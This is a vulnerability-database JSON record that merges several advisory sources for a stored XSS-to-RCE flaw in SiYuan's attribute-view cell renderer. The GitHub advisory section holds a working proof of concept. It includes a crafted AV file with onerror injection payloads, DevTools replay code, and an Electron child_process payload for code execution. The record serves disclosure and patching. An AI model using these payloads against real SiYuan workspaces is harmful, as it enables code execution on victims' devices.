{"id":"GO-2026-5957","revision":null,"records":[{"revision":"389d959ed224492e8b25e06ff6db9b76","observedAt":"2026-10-23T15:48:27.903+00:00","statement":{"source":"cve-program","id":"CVE-2026-54158","aliases":[],"title":"SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()","description":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror=\"...\"> or \"><img src=x onerror=\"...\"> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.","state":0,"publishedAt":"2026-06-24T21:19:16.988+00:00","modifiedAt":"2026-06-25T23:12:30.943+00:00","affected":[{"ecosystem":"Vendor product","name":"siyuan","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"siyuan-note\",\n                    \"product\": \"siyuan\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 3.7.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-54158","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-54158","identifiers":["CVE-2026-54158"]},"retained":false,"historicalAffected":[]},{"revision":"29c3eea653394622b09cfa7b9df05d45","observedAt":"2026-11-07T12:28:41.879+00:00","statement":{"source":"euvd","id":"EUVD-2026-39127","aliases":["CVE-2026-54158","GHSA-5xfx-xj4h-5p7r"],"title":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like…","description":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror=\"...\"> or \"><img src=x onerror=\"...\"> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":null}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-39127","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Jun 24, 2026, 9:19:16 PM","dateUpdated":"Jun 25, 2026, 11:12:30 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-39127","identifiers":["EUVD-2026-39127","CVE-2026-54158","GHSA-5xfx-xj4h-5p7r"]},"retained":false,"historicalAffected":[]},{"revision":"488ed8515e5747ce9ceae8a00a7dbeb3","observedAt":"2026-10-27T14:13:29.239+00:00","statement":{"source":"nvd","id":"CVE-2026-54158","aliases":[],"title":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like…","description":"SiYuan is an open-source personal knowledge management system. Prior to 3.7.0, the attribute-view (database) cell renderer genAVValueHTML interpolates cell content raw in four of its branches: text, url, phone, and mAsset. A cell value like </textarea><img src=x onerror=\"...\"> or \"><img src=x onerror=\"...\"> breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with nodeIntegration:true, so the XSS chains to host RCE via require('child_process'). AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.he kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the html.EscapeAttrVal call that protects block IAL attributes at kernel/model/blockial.go:261. This vulnerability is fixed in 3.7.0.","state":0,"publishedAt":"2026-06-24T22:16:48.74+00:00","modifiedAt":"2026-10-25T23:10:00.167+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":9.9,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-54158","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Deferred","weaknesses":["CWE-79","CWE-1188"],"productCriteria":[],"sourceDates":{"published":"2026-06-24T22:16:48.740","lastModified":"2026-10-25T23:10:00.167"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-54158","identifiers":["CVE-2026-54158"]},"retained":false,"historicalAffected":[]},{"revision":"ba63e371a9ff4516ac2548785ae5dfa2","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GHSA-5xfx-xj4h-5p7r","aliases":["CVE-2026-54158","GO-2026-5957"],"title":"SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML()","description":"### Summary\n\nThe attribute-view (database) cell renderer `genAVValueHTML` interpolates cell content raw in four of its branches: `text`, `url`, `phone`, and `mAsset`. A cell value like `</textarea><img src=x onerror=\"...\">` or `\"><img src=x onerror=\"...\">` breaks out of its surrounding tag and runs arbitrary JavaScript in the renderer when the victim opens the block-attribute panel. On Electron desktop the renderer runs with `nodeIntegration:true`, so the XSS chains to host RCE via `require('child_process')`. AV files live under the workspace and ride normal sync, so an attacker with write access to any synced workspace plants the payload once and it fires on every device that opens a panel containing that row.\n\nThe kernel doesn't escape on the way in either, so the malicious cell persists byte-for-byte. There's no equivalent of the `html.EscapeAttrVal` call that protects block IAL attributes at `kernel/model/blockial.go:261`.\n\nCompanion advisory: GHSA-mvjr-vv3c-w4qv. Same workspace-sync to renderer-sink to Electron-RCE pattern in the CSS-snippet renderer, different sink file. Worth auditing for the same pattern in other renderers that pull from synced workspace data.\n\n### Details\n\nAffected:\n\n- HEAD `96dfe0b` (v3.6.5, 2026-04-21)\n- Renderer sink: `app/src/protyle/render/av/blockAttr.ts:68`, `genAVValueHTML()`. The text, url, phone, and mAsset branches interpolate cell content raw.\n- Callsites piping `genAVValueHTML` into `innerHTML`: `select.ts:124,229,346`, `cell.ts:791,913,1198`, `col.ts:455,656,1256`, `filter.ts:199,471,609,702`, `groups.ts:56,289,328,378`, and `blockAttr.ts:212`.\n- Source: cell values returned by `/api/av/getAttributeView`. Backing store: `data/storage/av/<avID>.json`.\n- Write path: `kernel/model/attribute_view.go`, `updateAttributeViewValue` and `(*Transaction).doUpdateAttrViewCell`. No call to `html.EscapeAttrVal`, `html.EscapeString`, or `util.EscapeHTML` anywhere in the file.\n- Electron config: `nodeIntegration:true`, `contextIsolation:false`, `webSecurity:false` on every `BrowserWindow` in `app/electron/main.js:307,408-411,1107-1110,1150-1153,1322`.\n\n#### The sink\n\n`app/src/protyle/render/av/blockAttr.ts:68`, with the unsafe branches highlighted:\n\n```ts\nexport const genAVValueHTML = (value: IAVCellValue) => {\n  let html = \"\";\n  switch (value.type) {\n    case \"block\":\n      // escaped via escapeAttr — safe\n      html = `<input ... value=\"${escapeAttr(value.block.content)}\" ...>`;\n      break;\n    case \"text\":\n      // value.text.content goes raw into a <textarea>\n      html = `<textarea ... rows=\"${(value.text?.content || \"\").split(\"\\n\").length}\" ...>${value.text?.content || \"\"}</textarea>`;\n      break;\n    case \"url\":\n      // value.url.content goes raw into value=\"...\" and href=\"...\"\n      html = `<input value=\"${value.url.content}\" ...>\n              <a ${value.url.content ? `href=\"${value.url.content}\"` : \"\"} ...>`;\n      break;\n    case \"phone\":\n      // same pattern as url\n      html = `<input value=\"${value.phone.content}\" ...>\n              <a ${value.phone.content ? `href=\"tel:${value.phone.content}\"` : \"\"} ...>`;\n      break;\n    case \"mAsset\":\n      value.mAsset?.forEach(item => {\n        if (item.type === \"image\") {\n          // item.content raw inside aria-label\n          html += `<img ... aria-label=\"${item.content}\" src=\"${getCompressURL(item.content)}\">`;\n        } else {\n          // attributes escaped, but ${item.name || item.content} text-node is raw\n          html += `<span ... aria-label=\"${escapeAttr(item.content)}\" data-name=\"${escapeAttr(item.name)}\" data-url=\"${escapeAttr(item.content)}\">${item.name || item.content}</span>`;\n        }\n      });\n      break;\n    // other cases use escapeHtml / escapeAttr correctly\n  }\n  return html;\n};\n```\n\n`escapeHtml` and `escapeAttr` already exist and are used in the `block`, `select`, and `mSelect` cases. They just aren't applied in the four branches above.\n\nCallers assign the result to `innerHTML`. Example, `app/src/protyle/render/av/select.ts:124`:\n\n```ts\nif (item.classList.contains(\"custom-attr__avvalue\")) {\n    item.innerHTML = genAVValueHTML(cellValue);\n}\n```\n\n#### The write path\n\nA grep for any HTML-escape call in `kernel/model/attribute_view.go` returns nothing:\n\n```\ngrep -n 'html.Escape\\|EscapeHTML\\|EscapeString' kernel/model/attribute_view.go\n# (no output)\n```\n\nFor comparison, the block-IAL write path at `kernel/model/blockial.go:261` applies `html.EscapeAttrVal(value)`. The AV cell write path is missing the equivalent.\n\n#### Storage and sync\n\nAV files live at `data/storage/av/<avID>.json` and the repository sync picks them up the same way it does the rest of the workspace data. Any sync target propagates the malicious cell to all peers.\n\n#### Suggested fix\n\nThe renderer-side fix is the more important one. `escapeHtml` and `escapeAttr` already exist in `blockAttr.ts` and already protect the `block`, `select`, and `mSelect` branches. Extend them to the rest of `genAVValueHTML`:\n\n```ts\ncase \"text\":\n  html = `<textarea ...>${escapeHtml(value.text?.content || \"\")}</textarea>`;\n  break;\ncase \"url\":\n  html = `<input value=\"${escapeAttr(value.url.content)}\" ...>\n          <a ${value.url.content ? `href=\"${escapeAttr(value.url.content)}\"` : \"\"} ...>`;\n  break;\ncase \"phone\":\n  html = `<input value=\"${escapeAttr(value.phone.content)}\" ...>\n          <a ${value.phone.content ? `href=\"tel:${escapeAttr(value.phone.content)}\"` : \"\"} ...>`;\n  break;\ncase \"mAsset\":\n  // escape item.name and item.content in the text-node positions, not just inside attributes\n```\n\nThe `mAsset` image branch also interpolates `item.content` into the `src` attribute via `getCompressURL`. Worth rejecting `javascript:` and `data:` schemes for asset URLs while you're in there.\n\nBackend side, defense in depth: in `kernel/model/attribute_view.go:updateAttributeViewValue`, call `html.EscapeAttrVal(content)` on the string-content cell types before persisting. This mirrors the existing protection in `kernel/model/blockial.go:261`. The renderer fix matters more because the backend fix doesn't retroactively neutralize payloads already sitting in synced workspaces.\n\n### PoC\n\nStand up SiYuan and drop a malicious AV file at `workspace/data/storage/av/poc.json`:\n\n```bash\ndocker run -d --name siyuan-poc \\\n  -v ./workspace:/siyuan/workspace \\\n  -p 16806:6806 \\\n  b3log/siyuan:latest \\\n  --workspace=/siyuan/workspace --accessAuthCode=hunter2\n```\n\nMinimum viable AV JSON:\n\n```json\n{\n  \"spec\": 2,\n  \"id\": \"20260519999999-poctest\",\n  \"name\": \"PocAV\",\n  \"keyValues\": [\n    {\n      \"key\": {\"id\": \"...keyblok\", \"name\": \"Block\", \"type\": \"block\"},\n      \"values\": [{\n        \"id\": \"...row1blk\", \"keyID\": \"...keyblok\", \"blockID\": \"...row1blk\",\n        \"type\": \"block\", \"isDetached\": true,\n        \"block\": {\"id\": \"...row1blk\", \"content\": \"Row 1\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keytext\", \"name\": \"TextField\", \"type\": \"text\"},\n      \"values\": [{\n        \"id\": \"...celltxt\", \"keyID\": \"...keytext\", \"blockID\": \"...row1blk\",\n        \"type\": \"text\",\n        \"text\": {\"content\": \"</textarea><img src=x onerror=\\\"window.__siyuan_av_xss='FIRED'\\\">\"}\n      }]\n    },\n    {\n      \"key\": {\"id\": \"...keyurl0\", \"name\": \"UrlField\", \"type\": \"url\"},\n      \"values\": [{\n        \"id\": \"...cellurl\", \"keyID\": \"...keyurl0\", \"blockID\": \"...row1blk\",\n        \"type\": \"url\",\n        \"url\": {\"content\": \"\\\"><img src=x onerror=\\\"window.__siyuan_av_url_xss='FIRED'\\\">\"}\n      }]\n    }\n  ]\n}\n```\n\nIn a real attack the file gets there via sync, not by hand.\n\nConfirm the API returns the cell content raw:\n\n```bash\nTOKEN=$(jq -r '.api.token' workspace/conf/conf.json)\n\ncurl -s -X POST http://localhost:16806/api/av/getAttributeView \\\n  -H \"Authorization: Token $TOKEN\" \\\n  -d '{\"id\":\"20260519999999-poctest\"}' \\\n  | python3 -m json.tool | grep -E '\"content\":'\n```\n\nOutput from my run on 2026-05-19:\n\n```\n\"content\": \"</textarea><img src=x onerror=\\\"window.__siyuan_av_xss='FIRED'\\\">\"\n\"content\": \"\\\"><img src=x onerror=\\\"window.__siyuan_av_url_xss='FIRED'\\\">\"\n```\n\n`</textarea>` and `\">` come back literal, no escape.\n\nIn the Siyuan renderer's DevTools:\n\n```js\nconst res = await fetch('/api/av/getAttributeView', {\n  method: 'POST',\n  headers: {'Content-Type': 'application/json'},\n  body: JSON.stringify({id: '20260519999999-poctest'})\n});\nconst json = await res.json();\n\nlet textValue = null, urlValue = null;\nfor (const kv of json.data.av.keyValues) {\n  for (const v of kv.values || []) {\n    if (v.type === 'text' && v.text) textValue = v;\n    if (v.type === 'url' && v.url) urlValue = v;\n  }\n}\n\n// Replay the actual genAVValueHTML branches verbatim.\nconst textHTML = `<textarea rows=\"${(textValue.text?.content||'').split('\\n').length}\">${textValue.text?.content || ''}</textarea>`;\nconst urlHTML  = `<input value=\"${urlValue.url.content}\">`;\n\nconst div = document.createElement('div');\ndiv.innerHTML = textHTML + urlHTML;\n\nawait new Promise(r => setTimeout(r, 250));\n\nconsole.log({\n  textMarkerFired: window.__siyuan_av_xss === 'FIRED',\n  urlMarkerFired: window.__siyuan_av_url_xss === 'FIRED',\n  imgsInDiv: div.querySelectorAll('img').length,\n  title: document.title\n});\n```\n\nOutput from my run:\n\n```json\n{\n  \"textMarkerFired\": true,\n  \"urlMarkerFired\": true,\n  \"imgsInDiv\": 3,\n  \"title\": \"AV_TEXT_XSS_OK\"\n}\n```\n\n`</textarea>` and `\">` both broke out, the smuggled `<img>` elements ran their `onerror` handlers, the marker variables got set, `document.title` got rewritten. Same code path the real panel takes when the user opens the block attributes on this row.\n\nTo turn it into RCE on Electron, swap the marker payload for:\n\n```html\n<img src=x onerror=\"require('child_process').execSync('open /Applications/Calculator.app')\">\n```\n\n`require` is reachable from the renderer because of `nodeIntegration:true` in `app/electron/main.js:408`.\n\n### Impact\n\nStored XSS to RCE on Electron desktop builds, plus XSS on mobile and Docker web builds.\n\nThe payload fires the next time the victim opens the block-attribute panel on a row containing the malicious cell. The panel opens on a cell click or via the gutter icon, which is normal database usage. No special interaction required.\n\nAnyone affected by a workspace-write compromise is exposed. Realistic paths in: compromised SiYuan Cloud / S3 / WebDAV sync credentials, a workspace folder mounted on a shared filesystem (Dropbox, Syncthing, network share, git), or a multi-user Docker server where any authenticated user can call `/api/av/updateAttrViewCell`. Once the malicious AV cell is in the workspace, every peer that syncs and opens a panel touching that row runs the payload.","state":0,"publishedAt":"2026-07-10T19:34:53+00:00","modifiedAt":"2026-07-21T19:19:18.6646301+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260628153353-2d5d72223df4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"CRITICAL"}],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r","https://nvd.nist.gov/vuln/detail/CVE-2026-54158","https://github.com/siyuan-note/siyuan"],"sourceUrl":"https://github.com/advisories/GHSA-5xfx-xj4h-5p7r","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-5xfx-xj4h-5p7r","identifiers":["GHSA-5xfx-xj4h-5p7r","CVE-2026-54158","GO-2026-5957"]},"retained":false,"historicalAffected":[]},{"revision":"44ed028e4aa644e88412efd179620d04","observedAt":"2026-10-24T13:19:41.952+00:00","statement":{"source":"osv","id":"GO-2026-5957","aliases":["CVE-2026-54158","GHSA-5xfx-xj4h-5p7r"],"title":"SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() in github.com/siyuan-note/siyuan/kernel","description":"SiYuan: Stored XSS to RCE via attribute-view cell rendering in genAVValueHTML() in github.com/siyuan-note/siyuan/kernel","state":0,"publishedAt":"2026-07-17T19:42:05+00:00","modifiedAt":"2026-07-21T19:15:26.4133613+00:00","affected":[{"ecosystem":"Go","name":"github.com/siyuan-note/siyuan/kernel","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"0.0.0-20260628153353-2d5d72223df4"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[],"references":["https://github.com/siyuan-note/siyuan/security/advisories/GHSA-5xfx-xj4h-5p7r","https://nvd.nist.gov/vuln/detail/CVE-2026-54158"],"sourceUrl":"https://osv.dev/vulnerability/GO-2026-5957","license":"OSV · upstream source license applies","key":"osv:GO-2026-5957","identifiers":["GO-2026-5957","CVE-2026-54158","GHSA-5xfx-xj4h-5p7r"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.018923+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0189237+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-5978693a555a2fac0feee4f8e1cdc5e013b9a91b16046d4e34ae63a3d3db8d19","complete":true,"records":420947,"lastAttemptAt":"2026-11-07T21:52:16.4606105+00:00","lastSuccessAt":"2026-11-07T21:52:16.3995215+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.4606105+00:00","snapshotPublishedAt":"2026-11-07T21:18:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-c91a0736a9624a48aebf081ca5dd86b2","complete":true,"records":13633,"lastAttemptAt":"2026-11-07T22:04:27.1191985+00:00","lastSuccessAt":"2026-11-07T22:04:27.115+00:00","error":null,"lastVerifiedAt":"2026-11-07T22:04:27.115+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T21:52:16.7895348+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T21:52:16.7895348+00:00","lastSuccessAt":"2026-11-07T21:52:17.0199092+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:17.0199095+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-2b22c2d15f834007aa54c93f73b8deaf","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T21:52:42.2590883+00:00","lastSuccessAt":"2026-11-07T21:52:42.255+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:42.255+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T21:52:16.7352005+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7352005+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T21:52:16.5087916+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.5087916+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T21:52:16.7531721+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.7531721+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-40ad6183a951565ace1520a9b4d631e1d0bfb1d4bf7c5574c375032559f3ff53","complete":true,"records":231292,"lastAttemptAt":"2026-11-07T21:52:16.6283313+00:00","lastSuccessAt":"2026-11-07T10:29:00.4821259+00:00","error":null,"lastVerifiedAt":"2026-11-07T21:52:16.6283313+00:00","snapshotPublishedAt":"2026-11-07T09:32:47+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}